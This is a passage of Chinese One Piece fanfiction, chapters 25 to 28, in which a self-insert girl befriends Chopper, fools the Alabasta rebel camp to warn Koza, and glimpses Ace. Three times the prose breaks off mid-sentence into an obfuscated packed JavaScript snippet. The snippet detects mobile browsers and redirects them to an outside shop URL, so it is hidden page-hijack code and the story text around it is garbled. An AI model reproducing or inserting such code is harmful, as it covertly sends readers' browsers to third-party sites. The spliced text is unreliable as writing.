乌索普抬头,一只海鸥悄然飞入视野又朝着远方飞去。似乎什么争吵都与自己无关,脑子里只有那一句话。 没有弱者……吗? “乌索普!来钓鱼吧!”路飞伸长的手臂就这样自说自话地将人掳走,“一会儿让山治烤鱼吃!” “那你倒是别拉着我承受娜美的怒火啊!” 25.阿拉巴斯坦(一) 有有:“……” 乔巴:“……” 用一个词来形容此刻,那就是大眼瞪小眼,虽然有有估摸着这次见面大概就能见到乔巴了,但是她万万没想到,一打开门就会见到这只小可爱。 怀着激动的心情,有有扯出了一个大大的微笑:“hi——” 乔巴:“啊啊啊啊啊!” 驯鹿的呼喊声差点震破有有的耳膜,有有捂着耳朵看着眼前的小不点慌乱的跑来跑去,差点撞到桌角,最后把头藏在了桌腿后面,整个身子暴露在外。 啊,出现了。 乔巴的经典pose。 有有看着这个熟悉不过的姿势,手速快过脑速,“咔嚓”一声拍了下来。 “啊啊啊啊啊!”咔嚓声明显又吓住了乔巴,“乌索普!救救我!” 居然找乌索普救命!看来这几天被忽悠的不轻啊。 有有叹为观止,尝试着开口:“乔巴,你好,我是——” “我不叫乔巴!你去抓乔巴吧!”蓝鼻子带驯鹿抖着腿,战战兢兢地说道。 ……是这样吗? 而听到乔巴呼喊的乌索普揉着眼睛走了进来,“乔巴,怎么了吗?” 哦豁! “不叫乔巴?”有有促狭地朝乔巴眨着眼睛,“那乔巴是在喊谁啊?” 乔巴:“……” 小驯鹿一溜烟跑到了乌索普身后,警惕地看着突然出现在船上的女孩。 “呀,这不是有有嘛。”乌索普也发现了多出来的女孩,“我们还以为你要多睡一会儿呢。” “太想你们啦,所以就出来啦!”有有笑眯眯地打了个招呼,目光转向躲着的乔巴,“初次见面呀,乔巴,我是有有。” “啊,你又提前知道了啊。”乌索普碎碎念一句,“乔巴,这是有有,也是我们的伙伴。” 伙伴! 有有头顶上不存在的天线突然竖了起来,像是看见了骨头的狗狗,眼睛里都冒着星星。 “为什么一副那么吃惊的样子啊!”乌索普吐槽道,“一点自觉都没有吗你!” “嘿嘿,虽然偶尔会冒出这种念头,但是有时候也会害怕是自己自作多情嘛。”有有不好意思地挠了挠头,随即释然,“但是还是很开心呀!” “你可真是容易开心啊。” 某人混身冒着小花花,稍微靠近一点都似乎能被快乐感染。乌索普无奈,从身后拖出乔巴:“那你和乔巴去玩吧!” 有有:“好耶!” 乔巴:“??” “乌索普?!”乔巴双眼含泪,不可置信望着自己心目中的英雄,英雄就这么把自己交出去了? “安心吧乔巴,有有是个好人啊!” 没错没错,有有煞有其事的点头,笑眯眯地伸出魔爪凑近了乔巴。 “乖呀,乔巴,来抱一个!我给你吃棉花糖呀!” 人、人贩子!啊呸,鹿贩子! 乔巴泪眼朦胧地被有有一锅端走,抱回了自己的房间。 —— “有有还没起来吗?”娜美从房间里走出来,在甲板上环顾了一圈,去没看见自己想要看见的那个人。 “啊,她和乔巴在房间玩呢。”乌索普埋头做着自己的研究,头也不抬的回答道。 “啊?”娜美狐疑,这个时候玩什么啊?而且乔巴的社恐好了?娜美朝着有有的房间走去,房间门的大咧咧的敞开着,或者说,在船上,非必要的时候,有有的房间一直是朝着所有人开着的,不过除了路飞会偷偷摸摸地去翻零食,其他人非常自觉地非必要勿入。 也多亏了有有的这个习惯,娜美清晰地看见了房间内的情况。 看见生人就害怕的蓝鼻子驯鹿此刻满脸娇羞地坐在有有怀里,一口接一口地吃着棉花糖,脸上满是幸福的表情。 而有有毫不客气地进行着换装小游戏,各种可爱的小衣服一件件地往乔巴身上套,遇见极其可爱的还要拿相机拍下来,都让乔巴学会了用那双小蹄子摆出“耶”的姿势。 娜美:“……” 索隆从一旁经过,挑眉一笑,揶揄道:“有有最喜欢的?” “咣!” 索隆顶着包走开了。 “诶,娜美中毒的很严重是嘛。”有有停下了换装的手,成功用棉花糖钓出了很多情报。 “对呀对呀!但是库蕾哈医娘特别厉害……” 有有反手顺了几把乔巴的毛:“我们乔巴也很厉害呀!” “可恶~就算你这家伙夸我我也不会开心的啦~”乔巴娇羞道。 啊,又出现了。乔巴的招牌口头禅。 好可爱~~ “对了。”有有指了指乔巴胳膊上绑着的白色绷带,“你们已经遇见过冯酱了嘛?” “冯酱?”乔巴一愣,“那个会变身的人嘛。” “对呀对呀。” “为什么有有会叫他冯酱呢?”乔巴不解,“微微说,那家伙是我们的敌人哦?” 啊,没错,这会儿还是敌人来着。 有有心虚地左顾右盼了一会儿,没发现娜美的痕迹才放下心,转头就开始忽悠乔巴。 “那是因为我刚学语言啦,不太会说话,容易说错啦。” “真的嘛!有有说得很棒呀!” 那是当然!可不要小瞧高三生的学习能力呀! 当然这话是不能说的,有有轻咳一声,脸上愁容满面:“谢谢你呀乔巴,但是我还想更好一点,所以可不可以不要把我犯的这个小错误说出去呀,不然我会很难过的。” “包在我身上!”单纯的乔巴拍着胸脯保证,让有有的良心痛了一瞬间,但娜美的保证书威力实在是太大了…… “那这些衣服和零食全都送给你!”有有慷慨地把东西一推,全都塞给了乔巴。 “真的吗!” “当然啦!我们是伙伴嘛!” 乔巴已经沉浸在礼物的快乐中不可自拔,有有却陷入了沉思。 此刻还能遇见小冯,也就意味着老沙还是要牌他去干掉蜡烛人,说明老沙还是起了疑心。 不过也是,虽然鹰和海獭被抓住了,但是既然微微在这艘船上,情报泄露的可能性就要考虑到,宁可错杀不可放过才是老沙的风格。 那我岂不是做了点无用功嘛!有有挠头,有些沮丧。 这时外面传来了娜美的喊声。 “来啦!”有有下意识地应道,走出门发现几乎所有人都聚集在了这里。 “呦,你这家伙每次来的时间都挺巧的嘛。”索隆扶着刀笑道,“马上就要到阿拉巴斯坦了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16071143|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我要保持我的参团率。”有有煞有其事道。 却被娜美一个手刀轻劈了一下。 “说点能听懂的。” 一边说着,娜美还一边在有有的胳膊上画了个标记,然后还绑了一圈绷带。 “知道这个是什么吧?” “知道知道。”有有点头如捣蒜。 “那么再重申一遍,上了岛之后,不要单独行动。”娜美环视一圈,目光从这些人身上划过。 可最该听的人一下船就不见了踪影,只剩下扬长而去后留下的灰尘。 “跑得真快啊!”有有看着路飞离去的背影,忍不住鼓掌。 娜美:“这也要夸?” 阿拉巴斯坦的港口城市充满了沙漠风情,充满特色的服饰、食物,甚至空气中都弥漫着香辛料的气味。 一张巨大的毯子把所有人笼罩在里面,是一场酣畅淋漓地掩饰活动,有有躲在毯子里,震撼着这居然真的能糊弄过去。 或许是有有脸上的震惊太过显眼,索隆嗤笑一声:“你现在穿得不就相当于套了个毯子。” 这话说的是有有身上穿的衣服,一件像毯子一样的衣服把人从头笼到了脚,只露了头在外面,美名其曰防晒。比修女服有过之而无不及。 “你懂什么,这叫时尚。”有有反驳道,“对了,你在小花园有受伤吗?” 有有的目光忍不住朝索隆的脚踝看去。 后脑勺忽然传来轻微的痛感,有有震惊地看向罪魁祸首。 索隆漫不经心地收回手:“看路,没受伤。” “你居然懂得留手了!” “……居然在震惊这个吗?” 不过,既然没受伤的话,说明我还是有点点用处的吧。 有有的嘴巴都快翘起来了,背景开始飘满小花花。 格外好哄的一个人。 —— “我们这次出来是为了采购物资,按照微微所说,我们需要横穿沙漠,到达犹巴找到叛乱军首领,然后阻止内乱。”娜美总结说道,“但是微微和伊卡莱姆太明显了,我、索隆、乌索普都被Mr.2碰过。” “所以采购的任务只能交给你们了。”娜美看向山治和有有,“乔巴,你也去,你变化后的形态还没有暴露。” “好,交给我们吧!”山治拍着胸脯保证,“我会好好保护有有小姐的!” 有有在一旁连连点头。 娜美的目光落在了有有身上,正当有有以为娜美会嘱咐自己几句时,娜美只是朝着自己露出了一个笑。 诶?有有不解地眨了眨眼,还没等问出来,就看见索隆一脸淡定地靠在一边,虽然没有笑,但是有有硬生生看出了“赶紧夸我”几个字。 有有:……这家伙一定说了什么! 索隆看着两人一鹿离去背影,走到了娜美身边:“连叮嘱都不叮嘱一句吗?” 娜美目光幽幽:“你看我像是拦得住的样子吗?说到让她去采购,兴奋地都要跳起来了还知道要忍着。” “一副要去搞事情的架势,还觉得我们看不出来。” “那件衣服用来防晒?这个借口估计只能骗骗路飞了。” “嘛,那就一会儿看看她能做点什么事情回来吧。”索隆挑眉一笑,脸上满是期待。 26.阿拉巴斯坦(二) 沙漠地区天气炎热,这也就导致了沙漠地区的人服装的两个极端。 一是看着厚,几乎要裹满全身就是为了防晒的衣服。从这个方面来说,有有全副武装的样子比山治还要像本地人。 二就是极其清凉,只把要遮住的部位遮住,还要坠满叮铃咣啷的小挂饰,大多是舞女的穿着。 “好漂亮呀!”有有看着不远处的棚子,漂亮的舞女小姐姐进进出出,还带着一股浓重的香气。 “那!我去给有有小姐买!”山治笑得格外谄媚,“娜美小姐不是让我们买平民的衣服嘛,舞女也是平民对不对?” “对呀对呀!”有有乖巧点头,“但是乔巴好像有点不舒服,我在这陪他好了,山治你去买吧,你买什么我都可以的!” 买~什~么~都~可~以~ 宛如天籁一般的声音响起,山治热血上头,扔下一句“有有小姐我去了”就像冲进了棚子。 哦豁。 有有看着山治离开的方向心虚地埋下头,看向了旁边的乔巴。 “对不起啊有有,如果我能忍受那个味道,我们就能一起去逛了。”乔巴满脸沮丧,真的以为有有是因为要陪着自己才不去的。 良心忽然痛了一下,有有赶忙蹲下来摸了摸乔巴的头,还从口袋里摸了个棉花糖塞给了乔巴:“没事没事,我也很喜欢乔巴呀。” 乔巴害羞地把棉花糖咽下,突然好奇道:“有有,既然你有好多吃的,为什么不给路飞吃呢,他跑好远了诶!” 有有:……还能是为了什么,当然是把他支开呀,万一他非要跟着一起过来买东西咋办。 有有失落一笑:“我这次带的东西不多,我还以为路飞不爱吃棉花糖,不过有你喜欢真的时太好啦!” 完全没有逻辑关系,但是用来糊弄乔巴足够了。看着乔巴一副“别担心有我呢”的表情,有有的良心更痛了。 “乔巴你热不热呀?我们找个地方避暑吧?”为了自己残存的一点良心,有有赶忙岔开话题。 虽然也不完全是为了自己的良心。 在炙热的沙漠里,乔巴的皮毛虽然可以在晚上更好地保暖,但是这份优势在白天则荡然无存,只会让他更难熬。 现在也不过只是在外面行走了一段时间,乔巴就已经开始有点头晕目眩了。 “避暑?”乔巴喃喃自语道,“可是山治……” “没关系,我们一会儿过来找他就可以了,我记得路的。” 轻易地被有有说服,乔巴开始晃晃悠悠地找着避暑的地方。脑袋有些迷糊的乔巴并没有发觉,有有始终退后了半步跟在了自己身后,在同样人生地不熟的地方,有有选择了跟随乔巴的前进方向。 “就在那里歇一会儿怎么样,有有?”乔巴用蹄子指着停在小巷里的一辆封闭式的骆驼车,车门还微微开着,里面不知道装了些什么。 “好啊。”有有看向了那辆车,情不自禁地抚上了自己的右臂。 —— “食物、衣服、水、还有什么来着?”山治拿着清单大包小包地采购着,一行人的伙食完全交由他考虑,不可不谓是一场重担,但好在他乐享其中。 山治想起背包里精心挑选的三套衣服,只觉得自己还能再扛一波物资。 就当山治拿着买好的物资回到刚刚的地方时,一起行动的女孩和鹿完全不见了踪影,连一根鹿毛都没留下。 山治:“??” —— 车门被“啪嗒”一声关上,车辆前方还传来了意味不明的聊天声,似乎在说着车内的东西。 乔巴发着颤被有有抱住,女孩的一只手捂住了自己的嘴巴,乔巴听到她凑到自己的耳边悄悄道:“别害怕,我在呢。” 虽然在上车的时候就确定过,这确实就是叛乱军购买的军火,但是以防万一,有有还是竖起耳朵听着外头的谈话。 当耳朵捕捉到那个熟悉的名字时,有有这才松了口气。 “寇沙。” 叛乱军的首领,也是微微的青梅竹马。 就想她告诉娜美的,她需要回去做些准备。这五天里,有有除了购置沙漠的必须物资之外,就是反复地刷着阿拉巴斯坦篇地这四十集,想要从中找出一些突破口。 不然她肯定会尝试着留在船上,然后一起去接乔巴啊! 但也正是因为想到乔巴,有有才发现了这个突破口。 没有上帝视角的微微任务,叛乱军的大本营在犹巴,想去大本营直接找寇沙,这条思路当然没错,毕竟寇沙和微微有小时候的情谊在,好好说的话,寇沙大概率是会相信微微的。 但是奈何总是错过,即使能碰见,也有内奸搅局。 但是没关系,有有她有上帝视角啊!既然知道乔巴差点碰见寇沙,那她肯定就要来搭个顺风车呀! 能搅和一点是一点,有有按住了自己有些发抖的手,轻声叮嘱乔巴道:“乔巴,等会儿停下来之后,我要出去一趟,你先躲好,然后找机会混出去,在外面等我。” 乔巴的嘴巴还被有有捂着,可眼睛里的拒绝是个人都能理解。 “唔唔唔唔唔。” 有有点头,假装听懂了:“别担心,我有办法的,我可厉害了。” “唔唔?” “真的真的。” 生怕露馅,有有立马把自己身上的袍子给解了下来,盖在了乔巴身上。 乔巴只觉得一抹粉色从眼前闪过,随后就陷入了一片漆黑。 骆驼车渐渐停稳,车夫绕到后方,打开了车门。 一名穿着粉色舞女服的年轻少女满脸惊恐,身上还带着沙土,胳膊上到处都是伤痕,看见光亮时整个人瑟缩了一下。 “你是谁!怎么会在这!”车夫连忙抄起旁边的武器,木仓杆直对着里面的少女。 “救……救命。”女孩满含泪水,甚至因为过度害怕,连语调都说的很奇怪,“我……我刚逃出来的,从王宫。” “国王、国王……呜呜呜呜救救我……” 似乎是想起了不堪的回忆,女孩子像是没看见枪管一样,埋头在自己的臂弯里,肩膀一耸一耸。 王宫? 车夫举着枪的手顿了一下,和旁边的人对视了一眼。 “也许她的带着王宫里的情报出来了。”那人企图按下车夫手里的木仓,还示意车夫往里面看,“她看着一点能力都没有,没事的。” 车夫半信半疑,“可是……” “没什么好可是的,首领难道还敌不过一个弱女子吗?” “说的也是。”车夫收起木仓,“你,别哭了,跟着我走!” 少女哭哭啼啼地跟着车夫下了车,那人不经意往少女的右肩上看了一眼。 紫色双翼的骷髅头纹身在薄纱下若隐若现,漆黑的字体不太明显,可他知道,那是“BAROQUE”。 与整个基地格格不入的少女突然从车厢内下来,顿时吸引了所有人的眼光。 怀疑的、吃惊的、恍然大悟的……悉悉索索的声音在营地里响起,可少女只是垂着头,左手紧紧握住了右臂,“恰巧”将纹身暴露在了一些人面前。 “看到了吗?” “看到了。” “哈哈,boss又想出了什么招?” 巴洛克工作室内成员均以代号相称,互相不知晓对方的真实身份。且社员人数众多。这也就意味着,成员之中,即使多出一个人,也没办法很快求证。 有有低着脑袋把不动声色地把脸上的眼药水擦干,时不时还要装出自己一副在哭的模样。周围的视线实在烦人,不过幸好冦沙的帐篷并不算太远,有有等在门口,车夫进去说了什么,有有刚想竖起耳朵听,里面的人却很快出来了。 “首领让你进去。” 有有眉心一跳,这么轻易?她还以为要再演一波戏呢。 “里……里面的人,能救我吗……”可来都来了,戏当然要演完啦。 有有捂着眼睛哭诉道。 “当然,我们一定会拯救这个国家的。” 似乎被这句话感染,女孩深吸了一口气,胡乱在脸上抹了一把,白嫩的脸蛋都被蹭红了,即使掀开帐子的手在抖,他也能看出她鼓足了勇气。 “别担心。”车夫没忍住开口安慰道。 女孩似乎被突然的声音吓了一跳,肩膀都哆嗦了一下,却还是朝他挤出了一个笑脸:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16087253|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢你。” 帐子里有些昏暗,唯一的光是从帘子的缝隙里挤进来的,里面也很简约,只是搭着一些木桶和布袋子,比起首领的房间,看上去更向一个临时的仓库。 “你说,你是从王宫里逃出来的?”金色头发的青年大马金刀地坐在垫子上,眼睛藏在镜片后面看不清神色,白色的t恤的简约穿搭让他看上去不想叛乱军,反而像一个文质彬彬的书生。 “是的。”有有抹着眼泪,悄咪咪往前进了两步,离门口远了些。 “哦,是吗?”寇沙似笑非笑地看着眼前的少女,低声道,“过分廉价的舞服、从王宫逃出却丝毫不见损伤的双足、身负重伤在如此干旱的情况下却不见干裂的嘴唇,这位小姐,你还要我再说一说你身上的违和感吗?” “哇哦。”有有震惊地瞪大了眼睛,这个人居然有脑子?!她还以为海贼世界人均笨蛋呢。 亏她还觉得自己演得真不错。 不过也没办法,时间那么紧迫,能把格格不入的运动鞋塞进乔巴的背包就已经算她手快了,哪有时间再去脚上化伤口。更遑论这身从并夕夕花了39.9包邮的舞女服,材质硬得能把人戳死,不过一次性用品也没无所谓。 甚至连纹身贴都是花了9.9批量打印的一包,大部分伤口也是靠纹身贴做假,这也是为什么她一定要穿个大长袍子出门。 “嘛,既然被拆穿了,那我就不演啦。”有有拍了拍身上沾着的沙土,开门见山道,“总而言之,我是微微的朋友。” 寇沙运筹帷幄的脸上突然变成了一片空白,许久没听过的名字骤然出现,打得他猝不及防。 可有有已经没有太多时间了,乔巴还在等着,山治那边又找不到她们,万一闹大了就不好了。 有有掀起裙子的一角,从自己加工缝制的口袋里掏出了手机,展示出了自己和微微的合照。 “这是我今天早上和微微拍的照,是证据。” “这是什么……”寇沙愣愣发问。 有有没有理会,自顾自地说道:“我们在航行的路上遇见了微微和伊卡莱姆,她们说想要拯救国家,所以我们决定和她们一起回来。” “她为了调查内乱的原因卧底在巴洛克工作社,然后她调查出来阿拉巴斯坦内乱的原因是有人在暗中挑拨,你们都被骗了。”说着说着,有有忍不住给自己点了个赞,简洁易懂、又不涉及任何未来,简直完美。几十集的剧情被浓缩成一句话,不要小瞧高三生的概括能力啊。 可貌似概括地过分简洁了,寇沙一脸茫然,一副没听懂的样子。 “「啧。」”有有咂舌,“「果然还是个笨蛋。」” 寇沙没听懂这句话,但是直觉告诉他这不是好话。但是此刻该深究的并不是这个事情。 “你要我怎么相信你?”寇沙脑袋乱糟糟地梳理着庞大的信息量,直觉告诉他这人有可能说的是实话,但是没有证据,他无法将这件事公之于众。 “你不需要相信我。”有有拍了拍手,目光直直地盯着寇沙,“你要相信的是微微。” —— “你说,那个女的真的是从王宫里逃出来的吗?” “你觉得寇沙能相信这件事吗?我感觉他还是对老国王抱有一丝期待的。” “寇沙就是太优柔寡断了!我们早该把王宫攻打下来了。” 营地里说什么话的人都有,所有人的目光都有意无意地扫过首领的帐篷。 突然之间,帐篷里传来寇沙撕心裂肺的声音:“你胡说!他不可能是这样的人!” 紧接着,那名女孩跌跌撞撞地跑了出来,满眼泪水。 “我……我没有,我真的没有……”女孩喃喃自语着什么,迎面撞上了车夫先生。 不等车夫开口,女孩满眼失望地看了他一眼,言语中满是绝望:“你们都是骗子……” 女孩像是走投无路了般,随手牵了一匹骆驼,毅然决然地跑了出去。 “等……”有人想要阻拦,却听见了帐篷里传来了命令声。 “凯拉!波尔!点兵!” 火气高涨的语气是凯拉从来没有听见过的,此刻,营地里所有人都知道,战争,即将开始了。 27.阿拉巴斯坦(三) 人生头一回尝试坐骆驼,有有本还有些紧张,但是奈何骆驼睫毛的特征实在太过明显,让她一把就牵住了睫毛,而睫毛也不负她的期望,乐颠颠地将人送了出来。 “谢谢你呀。”有有摸了摸睫毛的脑袋,狂跳的心才稍微安稳了一点。 没办法,她又不是真的是演员专业户,这么演,也只能骗一骗那些笨蛋了,但凡有个聪明人就完蛋了。 不过,有有摸了摸隐藏的暗袋,这趟,收获颇丰。 “有有,有有。”乔巴的声音弱弱传来,有有闻声望去,乔巴背着小包躲在了角落里,还把自己搭在他身上的袍子裹着,两只眼睛都快变成蛋花眼了。 有有快步走了过去,把乔巴抱了起来,歉疚道:“对不起啊乔巴。真的对不起。” “没关系的有有,是我太弱了,如果我能像路飞那样强,就能帮到你了,我只能让睫毛进去看看你。”小小的乔巴几乎都要哭出来了,整个人自责的不行,“你身上怎么这么多伤啊!他们打你了吗呜呜呜……” “怎么会呢,乔巴真的帮了我大忙了。”有有恍然大悟,她就说怎么会那么容易找到睫毛,“如果不是你让睫毛进去的话,我就很难出来了。” “而且这个伤是我自己画的,不信你摸。”有有握着乔巴的小蹄子就去戳自己身上的伤,乔巴吓了一大跳,确认不是真的伤之后还要反复确认。 “真的是画的吗?” “真的哟。” 有有摸了摸乔巴的脑袋:“也谢谢乔巴愿意等我,还帮我把袍子和鞋都拿出来了,乔巴真的是太棒了!” 很容易被夸奖哄好的小不点顿时眉开眼笑,还努力矜持,把有有的鞋和袍子都换给了有有:“你快把鞋子穿上吧,你的脚都快磨破了。” 这个伤倒是真的,人生头一回赤着脚在沙漠里跑,只是被沙子磨破一点反而是最好的结局了,毕竟万一被什么铁制品划到的话,这可没地儿打破伤风。 害怕这幅破落的模样被娜美看见又要写保证书,有有小心翼翼地把袍子穿好,但凡能露馅的地方都要死命掖一下衣角,还不忘叮嘱旁边的乔巴记得帮她保密。 “因为我害怕被娜美骂呀。”有有半真半假地说道。 思及娜美的威力,乔巴轻而易举的相信了。 救命,良心好痛。 有有看着信誓旦旦说要保密的乔巴,默默捂住了自己的良心。 —— 采买的时间比想象中要长,等山治、有有和乔巴一起回到约定好的地方时,索隆都快差点睡着了。 “你们终于回来了。”娜美看着三人松了口气,“还以为你们出事了呢。” “没有没有。”有有赶忙摇头,“就是不小心和山治走散了,找人花了点时间。” “没错没错,我可以作证!”乔巴流着冷汗在一旁疯狂点头。 娜美:“……”生怕她看不出来她们在撒谎是吧。 索隆看热闹不嫌事大地笑出了声。 “算了。”娜美叹了口气,“既然人到齐了,那我们赶紧把衣服换上找到路飞然后走吧。” “!”居然没挨骂? 有有眨了眨眼,决定得寸进尺一点:“我想回去换衣服!” “……”娜美无奈摆手,“都可以。” 哇! 没有挨骂的有有反而有点不适应,讨好得跟在娜美身边献殷勤。 不得不说山治的眼光非常不错,娜美和微微的两套衣服都格外好看,好看到有有恨不得原地掏出相机来拍个写真集。 拜托,服化道都这么到位的时候可不好找啊! “娜美娜美!你真好看呀!”有有像只小狗一样在娜美身边打转,一个没留神,乔巴和乌索普就被路边的金苹果吸引了注意。 等会、金苹果? 有有一愣,随即反应过来,开始打量着四周。说不清心里的感觉究竟是怎么样的。 激动?欣喜?还是难过? 从踏进阿拉巴斯坦的那一刻开始,她似乎就在有意无意让自己忽略这件事。 她告诉自己,现在最重要的事情是帮助微微;她告诉自己,千万千万不要过分失控。 可是、可是…… 这是艾斯啊,这是那个肆意地说着“对活上千年没什么兴趣,只要能活好今天就行。*”的艾斯。 有有忍不住向前迈了几步,在人群中寻找着那个橘色的身影。 即使知道,过不了多久就能见面。 可是。 能再见一刻,是不是就意味着,他在记忆里就能多停留一秒呢? 但此刻本就处于闹市,来往人士众多,一个不留神就很容易找不到。 在哪?到底在哪? 有有环顾着四周,甚至没有注意到身后人的声音。 “我想问一下,你有没有见过这个男人?” 比眼睛更先反应过来的是耳朵,熟悉的声线在熙熙攘攘中精准地传入了耳朵。 熟悉的帽子、熟悉的紫色纹身和黑色短裤。 有有不知道自己是怎么发现的,只知道当自己回过神的瞬间,就已经快到那人的身后了。 “艾……” 艾斯问话的声音顿了一下,转头向后看去。 可身后空空如也。 “不好意思,我刚刚后面有人吗?”艾斯向摊主询问道。 “没注意。”摊主摇了摇头,“你挡住我看后面了。” “啊,抱歉抱歉。”艾斯不好意思地笑了,“那谢谢你了,我往餐厅去看看。” 好不容易找到的人越走越远,有有一时气急,想也没想朝着捂住自己嘴巴的手咬了下去。 “喂!你这家伙要干嘛!”索隆吃痛放开了手,没好气地瞪着有有。 “我说你才要干嘛!你个白痴!笨蛋!绿藻头!”有有瞪大了眼睛,看上去甚至有点气急败坏,“你干嘛把我拉过来!” 明明刚刚她都能直接找艾斯打招呼了,可偏偏这个不速之客杀了出来,捂着她的嘴把她拉到了拐角。 “你少和那个白痴厨子学骂人的话。”索隆皱了皱眉,“本来就不怎么会说话,学的都还是骂人的话?” “哈?” “还有,你难道没看见那个人手里拿着的是路飞的悬赏令吗?” “他身上的纹身也是,大名鼎鼎的白胡子海贼团的纹身,他是个海贼,你去找他干吗?” “我……”有有一愣,想起现在的情况,路飞不在,这群人对艾斯一无所知,看到他拿着悬赏令,第一反应肯定是躲开。 还是失控了。不禁忘记了此刻的任务,更没有管理好自己的情绪。 有有鼻尖一酸,懊恼之情抑制不住,不过更多的还是在对自己生气。 “我是和娜美说了,让她不要过分地管着你,那是因为我觉得你有分寸,但是这件事……” “对不起。” 女孩的声音明显带着明显的哭腔。 索隆一顿,一个字都没办法说了。 在被晃悠的船颠来颠去的时候没哭;在独自面对果实能力者的时候没哭;在木仓走火差点受伤的时候没哭;在自己拿刀劈下来去的时候再害怕也没哭。 现在哭了。 不,也不算哭。 索隆看着面前的人仰起脸,眼角微红,但是倔强的一滴泪也没留下来,只是开口道:“对不起,我不是故意要骂你的。” “……没事,你这不算骂人。”索隆反手摸着脖子,语气邦邦硬,“你别哭了。” “那你让我缓缓。”有有吸了吸鼻子,瓮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16087254|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声瓮气道。 “……行。” 不理解,真的不理解。难道那人又是这家伙在未来里看见的人吗? 索隆默不作声地回想着刚刚看见的人。 但是即使是从未来看见了,也不至于一副这么伤心难过又开心的架势吧? 这渊源到底多深啊? 就在索隆思考之际,一个眼熟的短发女子的身影突然闯入了视线。 索隆:“?!” 剑客一个闪身,把有有往前一推,自己则猫在了有有身后。 有有:“……”不是,你这人真的觉得我一个一米五能挡住一米八? 哦不,一米七八。 索隆看懂了女孩眼中的嫌弃,但他也来不及解释,只是说道:“快帮我挡住!” 有有的恶魔触角蠢蠢欲动:“你说我现在要是大喊救命,你说那个小姐姐会不会来救我?” “……杀了你哦。” “嘿嘿。” 到处躲藏的也不止索隆,察觉到斯摩格的娜美和乌索普也早就找地方藏好了。 路飞依旧不见踪影。 场面一度混乱。 有有拖着躲躲藏藏做贼一样的索隆朝着娜美山治会和,一行人躲在断壁残垣后清点着物资。 “真是令人操心的船长。”山治无奈道。 “我以为你们从上船的时候就知道了。”有有蹲着帮山治收拾东西,闻言不禁调侃道。 也是。 回想起路飞这一路的操作,所有人不禁齐齐叹气。 “只要有路飞的地方,就会噼里啪啦,乱七八糟的。”娜美叹气,但是脸上的表情说不上埋怨,更像是无可奈何但是又有点骄傲。 “就像那样吗?”有有指着路边飞扬起的尘土,乖巧发问。 “没错没错,就是这样。”娜美看了过去,连连点头,下一秒,表情就僵在了脸上。 不远处,穿着红马甲头戴草帽的少年正像这个方向飞奔而来,身后还跟着一大片海军。 “喂!大家!”路飞毫无紧张感地朝着这边打着招呼。 “别过来呀!!!!” 区区话语如果能阻止路飞的步伐,那么很多“悲剧”就不会发生了。 所有人骂骂咧咧地收拾着东西,头疼得要命。 海军可不会等人,海军中将斯摩格也没想到跟着路飞居然能把草帽团一锅端。 “你们都退下,草帽小子我来解决。*” 身为自然系果实,能全身化成烟雾的他,在某种程度上天克此刻的路飞,与其让手下一个个送菜,还不如他一个人解决。 是这样的。 也本该会这样。 白色的烟雾弥漫开来,下一秒,撞上了一团炙热的火焰。 有有不自觉停下了脚步。 “阳炎。” 火焰和烟雾交锋,在空中泯灭,像是从来没有出现过。 飞扬的尘土里,少年的登场,依旧是那样热烈而嚣张。 “居然是果实能力者吗?”索隆喃喃自语道,他忍不住向旁边瞥去。 旁边的女孩一动也不动地愣在原地,眼睛都不敢眨一下,傻傻地盯着那道身影。 索隆轻啧一声。 可没想到喊出那人名字的却是路飞。 “艾斯!” 这又是什么事啊!?索隆看着一脸惊喜的路飞,已经开始理不清这几个人的关系了。 思量之间,路飞已经和这个艾斯约定好马上跟上来了。 索隆:“??” 他抓了一把还有些发愣的有有跟上大部队,实在没忍住开口问道:“路飞,那家伙是谁?” “是艾斯呀!”路飞嘿嘿一笑,“是我的哥哥,艾斯。” 哥哥??! 28.阿拉巴斯坦(四) 泛白的烟雾和炽烈的火焰缠绕上升,越升越高,截然不同的两股元素交织在一起,形成的冲击就像是龙卷风一样势不可挡。 “你哥哥怎么会在伟大航路啊!”娜美不解,“不,你居然还有个哥哥吗!!” 不外乎娜美感到奇怪,实在是这艘船上的人都不太习惯于聊到自己的家,或者说海贼都是这样。 路飞脸上挂着笑,虽然他之前也总是嘻嘻哈哈的,但是明眼人都能看出,这笑不同以往。仿佛整个人都小了几岁,这是在信任的人面前放松的样子。 而且是不同于同伴的信任,是独属于家人的放松。 “艾斯他也是个海贼,他比我早三年出海。”路飞眼里满是愉快,甚至还有着骄傲自满。 他很为自己的哥哥自豪。 